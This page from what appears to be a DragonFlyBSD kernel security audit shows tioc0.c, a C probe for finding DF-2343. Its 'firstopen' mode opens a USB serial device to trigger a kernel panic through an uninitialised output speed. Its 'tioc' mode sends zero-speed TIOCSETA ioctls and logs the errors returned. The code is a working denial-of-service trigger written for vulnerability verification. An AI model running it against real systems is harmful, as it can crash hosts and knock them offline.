⬢ DragonFlyBSD Kernel Audit
DF-2343 / tioc0.c
← back to finding ↓ download raw
/*
 * tioc0.c -- live probe of the TIOCSETA*-with-c_ospeed==0 routes on a
 * harness-created stock /dev/ttyU* (real ucom cdevsw, real tty.c).
 *
 * Modes:
 *   firstopen <dev>     just open(2) the device (the DF-2343 first-open
 *                       trigger: usb_serial.c:839-842 feeds the
 *                       never-initialized sc_it_in.c_ospeed==0 to
 *                       ucom_pre_param).  Stock kernel: panic.
 *   tioc <dev>          open, then push TIOCSETA variants with
 *                       c_ospeed == 0 and report each errno.  Expect
 *                       EINVAL (tty.c:1033-1041 / usb_serial.c:1670)
 *                       and NO panic.
 *
 * Build: cc -O -Wall -o tioc0 tioc0.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>
#include <termios.h>
#include <sys/ioctl.h>

static void
show(const char *what, const struct termios *t)
{
	printf("  %-28s ispeed=%u ospeed=%u cflag=0x%x\n",
	    what, t->c_ispeed, t->c_ospeed, t->c_cflag);
}

static int
push(int fd, const char *what, struct termios *t)
{
	int rc;

	errno = 0;
	rc = ioctl(fd, TIOCSETA, t);
	printf("  TIOCSETA %-24s -> rc=%d errno=%d (%s)\n",
	    what, rc, errno, errno ? strerror(errno) : "OK");
	return (rc);
}

int
main(int argc, char **argv)
{
	struct termios t0, t;
	int fd;

	if (argc < 3)
		errx(1, "usage: %s firstopen|tioc <device>", argv[0]);

	if (strcmp(argv[1], "firstopen") == 0) {
		printf("tioc0: opening %s (uid=%d) -- sc_it_* untouched, "
		    "c_ospeed==0 flows to ucom_pre_param on first open\n",
		    argv[2], getuid());
		fflush(stdout);
		fd = open(argv[2], O_RDWR | O_NONBLOCK);
		if (fd < 0)
			err(1, "open %s", argv[2]);
		printf("tioc0: open returned fd=%d -- NO PANIC\n", fd);
		if (tcgetattr(fd, &t) == 0)
			show("post-open termios", &t);
		close(fd);
		return (0);
	}
	if (strcmp(argv[1], "tioc") != 0)
		errx(1, "bad mode %s", argv[1]);

	printf("tioc0: opening %s (uid=%d), then TIOCSETA "
		    "c_ospeed==0 variants\n", argv[2], getuid());
	fflush(stdout);
	fd = open(argv[2], O_RDWR | O_NONBLOCK);
	if (fd < 0)
		err(1, "open %s", argv[2]);
	if (tcgetattr(fd, &t0) != 0)
		err(1, "tcgetattr");
	show("current", &t0);

	/* sanity: a sane speed must be accepted (proves t_param runs) */
	t = t0;
	t.c_ispeed = 19200;
	t.c_ospeed = 19200;
	push(fd, "sane 19200", &t);

	/* variant A: both speeds 0 (classic hangup-style termios) */
	t = t0;
	t.c_ispeed = 0;
	t.c_ospeed = 0;
	push(fd, "ispeed=0 ospeed=0", &t);

	/* variant B: ispeed sane, ospeed 0 (mismatch) */
	t = t0;
	t.c_ispeed = 19200;
	t.c_ospeed = 0;
	push(fd, "ispeed=19200 ospeed=0", &t);

	/* variant C: CIGNORE set, ospeed 0 (skips t_param entirely) */
	t = t0;
	t.c_cflag |= CIGNORE;
	t.c_ispeed = 0;
	t.c_ospeed = 0;
	push(fd, "CIGNORE ispeed=0 ospeed=0", &t);

	if (tcgetattr(fd, &t) == 0)
		show("after variants", &t);
	printf("tioc0: still alive, no panic\n");
	close(fd);
	return (0);
}